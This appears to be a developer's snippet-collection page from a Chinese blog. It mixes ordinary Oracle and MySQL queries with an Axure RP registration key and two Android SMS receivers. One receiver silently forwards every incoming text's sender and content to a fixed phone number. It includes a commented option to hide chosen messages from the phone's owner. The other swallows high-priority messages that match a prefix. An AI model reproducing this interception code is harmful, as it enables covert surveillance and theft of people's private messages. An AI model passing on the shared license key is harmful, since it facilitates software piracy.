`
yinzhijia
  • 浏览: 13573 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论
收藏列表
标题 标签 来源
Axure RP7.0 for mac 注册码 axure http://www.douban.com/group/topic/51520965/
License:aaa 
Key:2GQrt5XHYY7SBK/4b22Gm4Dh8alaR0/0k3gEN5h7FkVPIn8oG3uphlOeytIajxGU
android推送有关 android
 public class SMSBroadcastReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容
        for(Object pdu : pdus){
            byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在
            SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象
            String sender = message.getOriginatingAddress();//获取短信的发送者
            String content = message.getMessageBody();//获取短信的内容
            SmsManager manager = SmsManager.getDefault();
            manager.sendTextMessage("5556", null,"发送人:"+sender+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556
            //    if("number".equals(sender)){
            //        abortBroadcast();
            //    }                                  //如果不想让机主接收到某个号码的短信,
                                                    //可以取消这段注释, number 为指定的号码
                                                    //也可在此处给这个号码回复的内容。。。。。
        
        }
    }

}
Oracle Tablespace 关于sql
--查看表空间使用情况的SQL语句: 
SELECT   a.tablespace_name   "表空间名 ",total   表空间大小,free   表空间剩余大小,(total-free)   表空间使用大小, ROUND((total-free)/total,4)*100   "使用率   % " FROM  (SELECT   tablespace_name,SUM(bytes)   free   FROM   DBA_FREE_SPACE GROUP   BY   tablespace_name   )   a, (SELECT   tablespace_name,SUM(bytes)   total   FROM   DBA_DATA_FILES GROUP   BY   tablespace_name)  b WHERE   a.tablespace_name=b.tablespace_name   
离线推送的实现 android
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
	package="org.gunther.sample1" 
	android:versionCode="1"
	android:versionName="1.0">
	<uses-sdk android:minSdkVersion="7" />

	<uses-permission android:name="android.permission.RECEIVE_SMS" />

	<application android:icon="@drawable/icon" android:label="@string/app_name">
		<activity android:name=".MainActivity" android:label="@string/app_name">
			<intent-filter>
				<action android:name="android.intent.action.MAIN" />
				<category android:name="android.intent.category.LAUNCHER" />
			</intent-filter>
		</activity>

		<receiver android:name=".SMSReceiver">
			<intent-filter android:priority="10000">
				<action android:name="android.provider.Telephony.SMS_RECEIVED" />
				<action android:name="android.intent.action.BOOT_COMPLETED" />
			</intent-filter>
		</receiver>

	</application>
</manifest>
离线推送的实现 android
SMSReceiver.java
package org.gunther.sample1;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.widget.TextView;

public class SMSReceiver extends BroadcastReceiver {

	private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
	private static final String FILTER = "$#";
	
	@Override
	public void onReceive(Context context, Intent intent) {
		if(intent.getAction().equals(ACTION)){
			Bundle bundle = intent.getExtras();
			if(bundle == null) return;
			
			Object[] pdus = (Object[]) bundle.get("pdus");
			for(Object pdu : pdus){
				SmsMessage msg = SmsMessage.createFromPdu((byte[]) pdu);
				String msgBody = msg.getDisplayMessageBody();
				if(null == msgBody && "".equals(msgBody)) return;
				
				if(msgBody.startsWith(FILTER)){
					//后期处理
					TextView tv = (TextView) MainActivity.getInstance().findViewById(R.id.text1);
					tv.setText("拦截到的短信内容:"+msgBody);
					//停止广播
					abortBroadcast();
				}
			}
		}
		
	}

}
模糊查询内容有%号 关于sql
-- oracle
-- escape之后的转义符必须与%分号之前的转义符一致(如:'/','_','\'等等)
select * from ... where ... like '%/%%' escape '/'

--mysql
select * from ... where ... like '%\%%'
oracle tree 关于sql
-- 一张表的tree
select * from ...  where ...
-- id:编号; parentId 父节点
CONNECT BY PRIOR id = parentId 
--开始的id
START WITH ...
--排序
ORDER siblings by ...
Global site tag (gtag.js) - Google Analytics